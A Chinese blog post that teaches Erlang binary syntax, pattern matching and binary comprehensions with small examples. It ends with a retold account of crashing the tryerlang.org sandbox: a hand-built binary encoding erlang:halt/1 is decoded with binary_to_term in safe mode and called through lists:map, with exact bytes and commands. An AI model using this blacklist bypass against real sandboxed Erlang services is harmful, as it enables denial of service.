[Erlang20]一起攻克Binary

 

第一次看到Joe Armstong的《Erlang 程序设计》里面对Binary的描述时,觉得这个东西好复杂,语法这么奇特(我觉得是Erlang语法中最不好懂的部分);
然后在项目中:Binary的处理都在网络包处理层,基本不会有改动,所以从此以后就再也没有去深看Binary。
但是看cowboy最新版本的优化说:
 
   Cowboy aims to provide a complete HTTP stack in a small code base. It is optimized for low latency and low memory usage, in part because it uses binary strings
 

就又非(gu)常(qi)好(yong)奇(qi)地想了解下这个神奇的Binary.[可是网络上的关于Binary的资料真的是少得可怜...]
但是:不过还是淘到了几篇非常好的文章:
  1.  ErlangVM 是怎么实现Binary数据类型的,实现原理从宏观到细节,值得反复细读:http://www.cnblogs.com/zhengsyao/p/erlang_eterm_implementation_5_binary.html
  2.  这个是从应用层上去具体使用上去解释为什么Binary会非常高效且内存占用比List少:http://cryolite.iteye.com/blog/1547252
  3. 1 中提到的官方效率指南:http://www.erlang.org/doc/efficiency_guide/binaryhandling.html
  4. 如果要处理Binary最好自己写模式匹配或使用binary.erl里面的函数:http://stackoverflow.com/questions/21779394/erlang-high-memory-usage-for-processing-list-of-binary-parts
  5. 一个讲故事介绍Binary原理的文章:http://dieswaytoofast.blogspot.com/2012/12/erlang-binaries-and-garbage-collection.html
 
理解了上面的内容后,就会认识到Binary的强大,但是对Binary的语法还是心存恐惧:
其实如果一个事物不熟悉或太自由,大部分人都首先觉得“哇,好牛逼”,渐渐地恰恰由于这过多的自由(太灵活),有时会感觉到自身的驾驭能力不足,多少会有点害怕,进而就不想去理解它【抱着一种反正可以用其它方法取代的心态】
下面,我们就通过把Binary和List(这个不熟悉就说不过去了)对比来看Binary的语法,不要因为恐惧错过美好的东西:
 
首先我们知道List的语法是最简单,明了的。其实Binary的目的最终也是想把Binary的语法和List保持一致
 
1.Binary怎么节省的空间?
 keep_0XX([{0,B2,B3}|Rest]) ->
    [{0,B2,B3}|keep_0XX(Rest)];
 keep_0XX([{1,_,_}|Rest]) ->
    keep_0XX(Rest);
 keep_0XX([]) ->
    [].
或者使用下面的列表解析方式:
keep_0XX(List) ->
  [{0,B2,B3} || {0,B2,B3} <- List].
上面这个函数看上去简洁优雅,简直可以说是完美,但是还有2个问题:
1.1 这个三元tuple非常浪费空间,如果使用<<B1/Size1,B2/Size2,B3/Size2>>来从bit级别去理解你的需要,想分配多少就直接给多个,这样才是极致;
1.2 输入的不确定性:可能来自于网络,或能来自于文件中,这时,我们还要把得到的数据转化为一个3元tuple的List,为什么不能一步到位?
 
所以:这里使用Binary[网络中的数据包大部分都是Binary,除了文本的http]会更好:
keep_0XX(Bin) ->
    [ <<0:1,B:2>> || <<0:1,B:2>> <= Bin].
2.Binary语法:温故而知新,多想想它为什么要这么规定[一切都是为了网络数据]?
<<Segment1,Segment2,...,Senmentn>>
每个Segment都是现面这种方式
Value:Size/TypeSpecifierList
2.1.Value可以是任意的Erlang Term,绑定的变量,不绑定的变量,不关心的"_";
2.2 Size 可以是正整数或绑定为正整数的变量(不能是不绑定变量),但总的Size加起来一定是8的倍数,因为二进制没有办法表达一个非8倍数长度的比特串;
      Integer默认为8,Float默认为64,其它类型在模式匹配时必须指定Size.
2.3 TypeSpecifierList 由End-Sign-Type-Unit的列表:每一个前置项可以忽略,没有要求。
      2.3.1 Type可以是: integer | float | binary | bytes | bitstring | bits | utf8 | utf16 | utf32 如果不指定就默认为Integer
      2.3.2 Signedness: signed | unsigned 只有当Type为Integer时才会有用,默认为‘unsigned'
      2.3.3 Endianness: big | little | native 指定计算机系统的字节序,native是运行时决定的字节序,依赖于CPU,默认为big,唯一用到这项的情形就是处理整数和二进制数据之间的封包和解包工作。
                                 例如你在big上看到的是<<0,0,0,72>> 在little上看到的是<<72,0,0,0>>.
       2.3.4 Unit: unit:Integer 1~255 整个区块长度为Size*Unit bit整个区块的长度必须>=0且 整除8
                       Unit默认值由Type决定:Type=integer或float时为1,Type=binary则为8
 
Joe大爷说:如果你还是对比特语法感觉不适应,最好的办法就是在shell中尝试你需要的模式直接得到真确的值,然后把它们复制粘贴到程序中就行啦。他就是这么做的....
 
给一些binary默认时的情况给你测试下下:
Segment Default expansion
X X:8/integer-unit:1
X/float X:64/float-unit:1
X/binary X:all/binary
X:size/binary X:Size/binary-unit:8
 
3.Binary模式匹配
3.1 示例1:最基本的:
 
Binary = <<10, 11, 12>>,
   <<A:8, B/binary>> = Binary.
   A=10,B=<<11,12>>.
 
3.2 示例2 Size并不需要事先绑定值,通常的做法是:
<<Sz:8/integer,
Vsn:Sz/integer,
Msg/binary>> = <<16,2,154,42>>.
Sz = 16,Vsn=666,Msg=<<42>>.
先从前面得到头,再在后面的匹配中使用
3.3.
case Binary of
<<42:8/integer, X/binary>> ->
   handle_bin(X);
<<Sz:8, V:Sz/integer, X/binary>> when Sz > 16 ->
   handle_int_bin(V, X);
<< :8, X:16/integer, Y:8/integer>> ->
  handle int_int(X, Y)
end.
Binary Matching of X
<<42,14,15>> <<14,15>>
<<24,1,2,3,10,20>> <<10,20>>
<<12,1,2,20>> 258
<<0,255>> failure
 
 
4.一些关于binary的BIF
  4.1 binary_to_list(Bin)  这个函数只能处理size为8的整数的Bin[你可以试下:binary_to_list(<<1:21>>)).];
  4.2 size(Bin)是返回存储Bin实际的大小空间,不是分配给他的,如果你要查看分配给他的,就用bit_size(Bin).
 
5.Binary 的binary解析【相对于List的列表解析】
   不要忘记了Binary的语法的终极目标,做得和List一样好用!
 5.1 把Binary转换为List:【只需要<-变成了<= 】
 
1> [ X || <<X>> <= <<1,2,3,4,5>>, X rem 2 == 0].    
    [2,4]
 5.2 如果你只是想把不是binary处理后变成一个binary就不用使用 <=
 
2> << <<R:8, G:8, B:8>> ||  {R,G,B} <- [{213,45,132},{64,76,32},{76,0,0},{234,32,15}] >>.
  <<213,45,132,64,76,32,76,0,0,234,32,15>>

找资料的过程中有一个非常意外而有意思的收获:
 
 
www.tryerlang.org 是一个不用安装Erlang就可以让你先在web上体验简单Erlang的网站,有人折腾着就想搞破坏【这个人真有意思!!!!!】:
 
预备知识:
在分布式的Erlang机器里面,A Node会把terms会转化为binaries,然后再给B Node,B Node会把这binaries再转回terms,使用的是BIF :term_to_binary/1, binary_to_term/1
你可以在这里the official Erlang Documentation 找到更多这方面的信息。
 
搞挂Node:
Hacker想把Node给搞挂,首先他想使用了erlang:halt(). 会把Node正常退出,还没有返回值,这个函数已由于安全问题已被屏蔽掉啦,所以
所以他得到的信息只有:“exception error: restricted”
目前为止:一切正常,节点还在运行中,这家伙又想了会,发现tryerlang.org允许自己定义funs. 你可以在这里面找到相关的文档
通过这个,可以解码出一个外部的fun:
 
 
 113 | Module | Function | Arity

 

113代表的是fun类型, Module 和 Function 都是 atoms , Arity 是一个整数. 这些atoms可以使用 ATOM_EXT来解码 ,那Arity可以使用 SMALL_INTEGER_EXT解码 .

atoms的解码格式是这样子:

100 | Len | AtomName

 

 Len  是AtomName的长度,有2bytes.

整数的解码格式是这样子:

97 | Int
然后我们要考虑的就是那个term_to_binary做了什么事:加了一个131标识在term的前面,了解了这些,就可以自己构造一个erlang:halt/0来试试把tryerlang.org搞崩溃:
 
我们可以手动自己来构造erlang,和halt的atoms【其实可以使用term_to_binary/1来做,但这个函数,也被tryerlang.org加入了黑名单】,所以我们先在自己的shell里面看看情况:
Eshell V5.8.1  (abort with ^G)

> term_to_binary(erlang).

<<131,100,0,6,101,114,108,97,110,103>>

> term_to_binary(halt).

<<131,100,0,4,104,97,108,116>>
 
忽略那个初始的131,然后把这2个atom接在一起
<<100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116>>

然后再把131(所有的term_to_binary/1都会加的), 113 (外部funs的类型标识)最后不要在结尾忘了arity:0:

<<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>

这样,我们就把外部fun erlang:halt/0用binary的形式表现出来了!

> binary_to_term(<<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>).
8>#Fun<erlang.halt.0>

那么,现在把我们的成果搞到tryerlang.org的shell里面:

>B = <<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,0>>.

然后我们再把B从binary转成Erlang term. 最开始时, tryerlang.org 可以使用 the binary_to_term function in safe mode. 这个函数从那次攻击之后也被加入黑名单,所以你只能在你自己的shell里面试试:)

>F = binary_to_term(B, [safe]).

现在我们来启动一个这个Fun看看:

>F().

很好,现在还是不行 tryerlang.org 会察觉到 erlang:halt/0 会被调用,然后把他阻塞住. 我们需要再小小改变一下:

如果我们把halt函数入在别一个函数里面调用,比如:lists:map/2,唯一的不同是:我们需要一给一个参数给halt function;
很走运,我们可以使用an alternative version of erlang:halt/0 exists, taking exactly one argument. 来做. 我们只需要把最后一个0改成1,记得先使用BIF f/1把变量B.
> f(B).
> B = <<131,113,100,0,6,101,114,108,97,110,103,100,0,4,104,97,108,116,97,1>>.

然后我们应该就可以啦:

> f(F).
>F = binary_to_term(B, [safe]).
>lists:map(F, [0]).
这个node就死掉了。
实际上节点死掉后,会马上用 heart 重启,但是,不得不说,这家伙干得漂亮! :)
 

Please note that the hacker had the advantage to look at the source code for tryerlang.org while performing the attack.

I wanted to share this experience with all of you. I consider it highly constructive, since it leads to reflect on several aspects of Erlang

 

祝马上就要开学的各位高中生们逛街时偶遇班主任~~~哈哈~~~

posted @ 2014-08-31 16:29  写着写着就懂了  阅读(3977)  评论(1编辑  收藏  举报